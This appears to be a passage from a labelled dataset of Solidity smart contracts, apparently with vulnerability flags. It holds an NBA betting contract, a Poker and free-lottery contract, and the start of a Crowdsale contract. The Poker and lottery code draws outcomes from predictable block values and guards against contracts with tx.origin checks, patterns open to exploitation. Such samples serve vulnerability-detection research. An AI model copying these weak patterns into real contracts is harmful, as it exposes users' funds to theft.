for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract nbagame is usingOraclize {
address owner;
address public creator = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A;
address public currentOwner = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A;
uint8 public constant NUM_TEAMS = 2;
string[NUM_TEAMS] public TEAM_NAMES = ["San Antonio Spurs", "New Orleans Pelicans"];
enum TeamType { SASpurs, NOPelicans, None }
TeamType public winningTeam = TeamType.None;
uint public constant TOTAL_POOL_COMMISSION = 10;
uint public constant EARLY_BET_INCENTIVE_COMMISSION = 4;
uint public constant OWNER_POOL_COMMISSION = 6;
uint public constant MINIMUM_BET = 0.01 ether;
uint public constant BETTING_OPENS = 1519599600;
uint public constant BETTING_CLOSES = 1519868100;
uint public constant PAYOUT_ATTEMPT_INTERVAL = 64800;
uint public constant BET_RELEASE_DATE = 1520040900;
uint public constant PAYOUT_DATE = BETTING_CLOSES + PAYOUT_ATTEMPT_INTERVAL;
uint public constant STAGE_ONE_BET_LIMIT = 0.2 ether;
bool public payoutCompleted;
bool public stage2NotReached = true;
struct Bettor {
uint[NUM_TEAMS] amountsBet;
uint[NUM_TEAMS] amountsBetStage1;
uint[NUM_TEAMS] amountsBetStage2;
}
mapping(address => Bettor) bettorInfo;
address[] bettors;
uint[NUM_TEAMS] public totalAmountsBet;
uint[NUM_TEAMS] public totalAmountsBetStage1;
uint[NUM_TEAMS] public totalAmountsBetStage2;
uint public numberOfBets;
uint public totalBetAmount;
uint public contractPrice = 0.05 ether;
uint private firstStepLimit = 0.1 ether;
uint private secondStepLimit = 0.5 ether;
event BetMade();
event ContractPurchased();
modifier canPerformPayout() {
if (winningTeam != TeamType.None && !payoutCompleted && now > BETTING_CLOSES) _;
}
modifier bettingIsClosed() {
if (now > BETTING_CLOSES) _;
}
modifier onlyCreatorLevel() {
require(
creator == msg.sender
);
_;
}
function nbagame() public {
owner = msg.sender;
pingOracle(PAYOUT_DATE - now);
}
function triggerRelease() public onlyCreatorLevel {
require(now > BET_RELEASE_DATE);
releaseBets();
}
function _addressNotNull(address _adr) private pure returns (bool) {
return _adr != address(0);
}
function pingOracle(uint pingDelay) private {
oraclize_query(pingDelay, "WolframAlpha", "Spurs vs Pelicans February 28, 2018 Winner");
}
function __callback(bytes32 queryId, string result, bytes proof) public {
require(payoutCompleted == false);
require(msg.sender == oraclize_cbAddress());
if (keccak256(TEAM_NAMES[0]) == keccak256(result)) {
winningTeam = TeamType(0);
}
else if (keccak256(TEAM_NAMES[1]) == keccak256(result)) {
winningTeam = TeamType(1);
}
if (winningTeam == TeamType.None) {
if (now >= BET_RELEASE_DATE)
return releaseBets();
return pingOracle(PAYOUT_ATTEMPT_INTERVAL);
}
performPayout();
}
function getUserBets() public constant returns(uint[NUM_TEAMS]) {
return bettorInfo[msg.sender].amountsBet;
}
function releaseBets() private {
uint storedBalance = this.balance;
for (uint k = 0; k < bettors.length; k++) {
uint totalBet = SafeMath.add(bettorInfo[bettors[k]].amountsBet[0], bettorInfo[bettors[k]].amountsBet[1]);
bettors[k].transfer(SafeMath.mul(totalBet, SafeMath.div(storedBalance, totalBetAmount)));
}
}
function canBet() public constant returns(bool) {
return (now >= BETTING_OPENS && now < BETTING_CLOSES);
}
function triggerPayout() public onlyCreatorLevel {
pingOracle(5);
}
function bet(uint teamIdx) public payable {
require(canBet() == true);
require(TeamType(teamIdx) == TeamType.SASpurs || TeamType(teamIdx) == TeamType.NOPelicans);
require(msg.value >= MINIMUM_BET);
if (bettorInfo[msg.sender].amountsBet[0] == 0 && bettorInfo[msg.sender].amountsBet[1] == 0)
bettors.push(msg.sender);
if (totalAmountsBet[teamIdx] >= STAGE_ONE_BET_LIMIT) {
bettorInfo[msg.sender].amountsBetStage2[teamIdx] += msg.value;
totalAmountsBetStage2[teamIdx] += msg.value;
}
if (totalAmountsBet[teamIdx] < STAGE_ONE_BET_LIMIT) {
if (SafeMath.add(totalAmountsBet[teamIdx], msg.value) <= STAGE_ONE_BET_LIMIT) {
bettorInfo[msg.sender].amountsBetStage1[teamIdx] += msg.value;
totalAmountsBetStage1[teamIdx] += msg.value;
} else {
uint amountLeft = SafeMath.sub(STAGE_ONE_BET_LIMIT, totalAmountsBet[teamIdx]);
uint amountExcess = SafeMath.sub(msg.value, amountLeft);
bettorInfo[msg.sender].amountsBetStage1[teamIdx] += amountLeft;
bettorInfo[msg.sender].amountsBetStage2[teamIdx] += amountExcess;
totalAmountsBetStage1[teamIdx] = STAGE_ONE_BET_LIMIT;
totalAmountsBetStage2[teamIdx] += amountExcess;
}
}
bettorInfo[msg.sender].amountsBet[teamIdx] += msg.value;
numberOfBets++;
totalBetAmount += msg.value;
totalAmountsBet[teamIdx] += msg.value;
BetMade();
}
function performPayout() private canPerformPayout {
uint losingChunk = SafeMath.sub(this.balance, totalAmountsBet[uint(winningTeam)]);
uint currentOwnerPayoutCommission = uint256(SafeMath.div(SafeMath.mul(OWNER_POOL_COMMISSION, losingChunk), 100));
uint eachStageCommission = uint256(SafeMath.div(SafeMath.mul(1, losingChunk), 100));
for (uint k = 0; k < bettors.length; k++) {
uint betOnWinner = bettorInfo[bettors[k]].amountsBet[uint(winningTeam)];
uint payout = betOnWinner + ((betOnWinner * (losingChunk - currentOwnerPayoutCommission - (4 * eachStageCommission))) / totalAmountsBet[uint(winningTeam)]);
if (totalAmountsBetStage1[0] > 0) {
uint stageOneCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage1[0] * eachStageCommission) / totalAmountsBetStage1[0]);
payout += stageOneCommissionPayoutTeam0;
}
if (totalAmountsBetStage1[1] > 0) {
uint stageOneCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage1[1] * eachStageCommission) / totalAmountsBetStage1[1]);
payout += stageOneCommissionPayoutTeam1;
}
if (totalAmountsBetStage2[0] > 0) {
uint stageTwoCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage2[0] * eachStageCommission) / totalAmountsBetStage2[0]);
payout += stageTwoCommissionPayoutTeam0;
}
if (totalAmountsBetStage2[1] > 0) {
uint stageTwoCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage2[1] * eachStageCommission) / totalAmountsBetStage2[1]);
payout += stageTwoCommissionPayoutTeam1;
}
if (payout > 0)
bettors[k].transfer(payout);
}
currentOwner.transfer(currentOwnerPayoutCommission);
if (this.balance > 0) {
creator.transfer(this.balance);
stage2NotReached = true;
} else {
stage2NotReached = false;
}
payoutCompleted = true;
}
function buyContract() public payable {
address oldOwner = currentOwner;
address newOwner = msg.sender;
require(newOwner != oldOwner);
require(_addressNotNull(newOwner));
require(msg.value >= contractPrice);
require(now < BETTING_CLOSES);
uint payment = uint(SafeMath.div(SafeMath.mul(contractPrice, 94), 100));
uint purchaseExcess = uint(SafeMath.sub(msg.value, contractPrice));
uint creatorCommissionValue = uint(SafeMath.sub(contractPrice, payment));
if (contractPrice < firstStepLimit) {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 132), 94);
} else if (contractPrice < secondStepLimit) {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 122), 94);
} else {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 113), 94);
}
currentOwner = newOwner;
oldOwner.transfer(payment);
creator.transfer(creatorCommissionValue);
ContractPurchased();
msg.sender.transfer(purchaseExcess);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,590 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
}
contract pokerEvents{
event Bettings(
uint indexed guid,
uint gameType,
address indexed playerAddr,
uint[] bet,
bool indexed result,
uint winNo,
uint amount,
uint winAmount,
uint jackpot
);
event JackpotPayment(
uint indexed juid,
address indexed playerAddr,
uint amount,
uint winAmount
);
event FreeLottery(
uint indexed luid,
address indexed playerAddr,
uint indexed winAmount
);
}
contract Poker is Ownable,pokerEvents{
using inArrayExt for address[];
using intArrayExt for uint[];
address private opAddress;
address private wallet1;
address private wallet2;
bool public gamePaused=false;
uint public guid=1;
uint public luid=1;
mapping(string=>uint) odds;
uint minPrize=0.01 ether;
uint lotteryPercent = 3 ether;
uint public minBetVal=0.01 ether;
uint public maxBetVal=1 ether;
struct FreeLotto{
bool active;
uint prob;
uint prize;
uint freezeTimer;
uint count;
mapping(address => uint) lastTime;
}
mapping(uint=>FreeLotto) lotto;
mapping(address=>uint) playerCount;
bool freeLottoActive=true;
uint public jpBalance=0;
uint jpMinBetAmount=0.05 ether;
uint jpMinPrize=0.01 ether;
uint jpChance=1000;
uint jpPercent=0.3 ether;
bytes32 private rndSeed;
uint private minute=60;
uint private hour=60*60;
constructor(address _rndAddr) public{
opAddress=msg.sender;
wallet1=msg.sender;
wallet2=msg.sender;
odds['bs']=1.97 ether;
odds['suit']=3.82 ether;
odds['num']=11.98 ether;
odds['nsuit']=49.98 ether;
lotto[1]=FreeLotto(true,1000,0.1 ether,hour / 100 ,0);
lotto[2]=FreeLotto(true,100000,1 ether,3*hour/100 ,0);
RandomOnce rnd=RandomOnce(_rndAddr);
bytes32 _rndSeed=rnd.getRandom();
rnd.destruct();
rndSeed=keccak256(abi.encodePacked(blockhash(block.number-1), msg.sender,now,_rndSeed));
}
function play(uint _gType,uint[] _bet) payable isHuman() public{
require(!gamePaused,'Game Pause');
require(msg.value >= minBetVal*_bet.length && msg.value <= maxBetVal*_bet.length,"value is incorrect" );
bool _ret=false;
uint _betAmount= msg.value /_bet.length;
uint _prize=0;
uint _winNo= uint(keccak256(abi.encodePacked(rndSeed,msg.sender,block.coinbase,block.timestamp, block.difficulty,block.gaslimit))) % 52 + 1;
rndSeed = keccak256(abi.encodePacked(msg.sender,block.timestamp,rndSeed, block.difficulty));
if(_gType==1){
if(_betAmount * odds['bs'] / 1 ether >= address(this).balance/2){
revert("over max bet amount");
}
if((_winNo > 31 && _bet.contain(2)) || (_winNo < 28 && _bet.contain(1))){
_ret=true;
_prize=(_betAmount * odds['bs']) / 1 ether;
}else if(_winNo>=28 && _winNo <=31 && _bet.contain(0)){
_ret=true;
_prize=(_betAmount * 12 ether) / 1 ether;
}
}
if(_gType==2 && _bet.contain(_winNo%4+1)){
if(_betAmount * odds['suit'] / 1 ether >= address(this).balance/2){
revert("over max bet amount");
}
_ret=true;
_prize=(_betAmount * odds['suit']) / 1 ether;
}
if(_gType==3 && _bet.contain((_winNo-1)/4+1)){
if(_betAmount * odds['num'] / 1 ether >= address(this).balance/2){
revert("over max bet amount");
}
_ret=true;
_prize=(_betAmount * odds['num']) / 1 ether;
}
if(_gType==4 && _bet.contain(_winNo)){
if(_betAmount * odds['nsuit'] / 1 ether >= address(this).balance/2){
revert("over max bet amount");
}
_ret=true;
_prize=(_betAmount * odds['nsuit']) / 1 ether;
}
if(_ret){
msg.sender.transfer(_prize);
}else{
jpBalance += (msg.value * jpPercent) / 100 ether;
}
uint tmpJackpot=0;
if(_betAmount >= jpMinBetAmount){
uint _jpNo= uint(keccak256(abi.encodePacked(rndSeed,msg.sender,block.coinbase,block.timestamp, block.difficulty,block.gaslimit))) % jpChance;
if(_jpNo==77 && jpBalance>jpMinPrize){
msg.sender.transfer(jpBalance);
emit JackpotPayment(guid,msg.sender,_betAmount,jpBalance);
tmpJackpot=jpBalance;
jpBalance=0;
}else{
tmpJackpot=0;
}
rndSeed = keccak256(abi.encodePacked(block.coinbase,msg.sender,block.timestamp, block.difficulty,rndSeed));
}
emit Bettings(guid,_gType,msg.sender,_bet,_ret,_winNo,msg.value,_prize,tmpJackpot);
guid+=1;
}
function freeLottery(uint _gid) public isHuman(){
require(!gamePaused,'Game Pause');
require(freeLottoActive && lotto[_gid].active,'Free Lotto is closed');
require(now - lotto[_gid].lastTime[msg.sender] >= lotto[_gid].freezeTimer,'in the freeze time');
uint chancex=1;
uint winNo = 0;
if(playerCount[msg.sender]>=3){
chancex=2;
}
if(playerCount[msg.sender]>=6){
chancex=3;
}
winNo=uint(keccak256(abi.encodePacked(msg.sender,block.number,block.timestamp, rndSeed,block.difficulty,block.gaslimit))) % (playerCount[msg.sender]>=3?lotto[_gid].prob/chancex:lotto[_gid].prob)+1;
bool result;
if(winNo==7){
result=true;
msg.sender.transfer(lotto[_gid].prize);
}else{
result=false;
if(playerCount[msg.sender]==0 || lotto[_gid].lastTime[msg.sender] <= now -lotto[_gid].freezeTimer - 15*minute){
playerCount[msg.sender]+=1;
}else{
playerCount[msg.sender]=0;
}
}
emit FreeLottery(luid,msg.sender,result?lotto[_gid].prize:0);
rndSeed = keccak256(abi.encodePacked( block.difficulty,block.coinbase,msg.sender,block.timestamp,rndSeed));
luid=luid+1;
lotto[_gid].lastTime[msg.sender]=now;
}
function freeLottoInfo() public view isHuman() returns(uint,uint,uint){
uint chance=1;
if(playerCount[msg.sender]>=3){
chance=2;
}
if(playerCount[msg.sender]>=6){
chance=3;
}
return (lotto[1].lastTime[msg.sender],lotto[2].lastTime[msg.sender],chance);
}
function updateRndSeed(address _rndAddr) isHuman() public {
require(msg.sender==owner || msg.sender==opAddress,"DENIED");
RandomOnce rnd=RandomOnce(_rndAddr);
bytes32 _rndSeed=rnd.getRandom();
rnd.destruct();
rndSeed = keccak256(abi.encodePacked(msg.sender,block.number,_rndSeed,block.timestamp,block.coinbase,rndSeed, block.difficulty,block.gaslimit));
}
function updateOdds(string _game,uint _val) public isHuman(){
require(msg.sender==owner || msg.sender==opAddress);
odds[_game]=_val;
}
function updateStatus(uint _p,bool _status) public isHuman(){
require(msg.sender==owner || msg.sender==opAddress);
if(_p==1){gamePaused=_status;}
if(_p==2){freeLottoActive=_status;}
if(_p==3){lotto[1].active =_status;}
if(_p==4){lotto[2].active =_status;}
}
function getOdds() public view returns(uint[]) {
uint[] memory ret=new uint[](4);
ret[0]=odds['bs'];
ret[1]=odds['suit'];
ret[2]=odds['num'];
ret[3]=odds['nsuit'];
return ret;
}
function updateLottoParams(uint _gid,uint _key,uint _val) public isHuman(){
require(msg.sender==owner || msg.sender==opAddress);
if(_key==1){lotto[_gid].active=(_val==1);}
if(_key==2){lotto[_gid].prob=_val;}
if(_key==3){lotto[_gid].prize=_val;}
if(_key==4){lotto[_gid].freezeTimer=_val;}
}
function getLottoData(uint8 _gid) public view returns(bool,uint,uint,uint,uint){
return (lotto[_gid].active,lotto[_gid].prob,lotto[_gid].prize,lotto[_gid].freezeTimer,lotto[_gid].count);
}
function setAddr(uint _acc,address _addr) public onlyOwner isHuman(){
if(_acc==1){wallet1=_addr;}
if(_acc==2){wallet2=_addr;}
if(_acc==3){opAddress=_addr;}
}
function getAddr(uint _acc) public view onlyOwner returns(address){
if(_acc==1){return wallet1;}
if(_acc==2){return wallet2;}
if(_acc==3){return opAddress;}
}
function withdraw(address _to,uint amount) public onlyOwner isHuman() returns(bool){
require(address(this).balance - amount > 0);
_to.transfer(amount);
}
function distribute(uint _p) public onlyOwner isHuman(){
uint prft1=_p* 85 / 100;
uint prft2=_p* 10 / 100;
uint prft3=_p* 5 / 100;
owner.transfer(prft1);
wallet1.transfer(prft2);
wallet2.transfer(prft3);
}
function() payable isHuman() public {
}
}
contract RandomOnce{
constructor() public{}
function getRandom() public view returns(bytes32){}
function destruct() public{}
}
library inArrayExt{
function contain(address[] _arr,address _val) internal pure returns(bool){
for(uint _i=0;_i< _arr.length;_i++){
if(_arr[_i]==_val){
return true;
break;
}
}
return false;
}
}
library intArrayExt{
function contain(uint[] _arr,uint _val) internal pure returns(bool){
for(uint _i=0;_i< _arr.length;_i++){
if(_arr[_i]==_val){
return true;
break;
}
}
return false;
}
} | 0 | 1,099 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function lock(address _victim, uint256 _value, uint256 _periodSec) public;
function unlock(address _luckier) external;
function transferOwnership(address _newOwner) public;
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
address public multisig;
address public tokenHolder;
ERC20 public token;
uint256 rate;
uint256 rateInUsd;
uint256 priceETH;
uint256 startIco;
uint256 periodIco;
uint256 periodPreIco;
uint256 indCap;
mapping (address => uint256) tokens;
address[] addresses;
uint256 index;
event Purchased(address _buyer, uint256 _amount);
constructor(address _AS, address _multisig, address _tokenHolder, uint256 _priceETH, uint256 _startIcoUNIX, uint256 _periodPreIcoSEC, uint256 _periodIcoSEC) public {
require(_AS != 0 && _priceETH != 0);
token = ERC20(_AS);
multisig = _multisig;
tokenHolder = _tokenHolder;
startIco = _startIcoUNIX;
periodPreIco = _periodPreIcoSEC;
periodIco = _periodIcoSEC;
rateInUsd = 10;
setRate(_priceETH);
}
function setIndCap(uint256 _indCapETH) public onlyOwner {
indCap = _indCapETH;
}
function setPriceETH(uint256 _newPriceETH) external onlyOwner {
setRate(_newPriceETH);
}
function setRate(uint256 _priceETH) internal {
require(_priceETH != 0);
priceETH = _priceETH;
rate = rateInUsd.mul(1 ether).div(100).div(_priceETH);
}
function transferTokenOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0));
token.transferOwnership(_newOwner);
}
function _lock(address _address, uint256 _value, uint256 _period) internal {
token.lock(_address, _value, _period);
}
function lock(address _address, uint256 _value, uint256 _period) external onlyOwner {
_lock(_address, _value, _period);
}
function unlock(address _address) external onlyOwner {
token.unlock(_address);
}
function unlockList() external onlyOwner {
for (uint256 i = index; i < addresses.length; i++) {
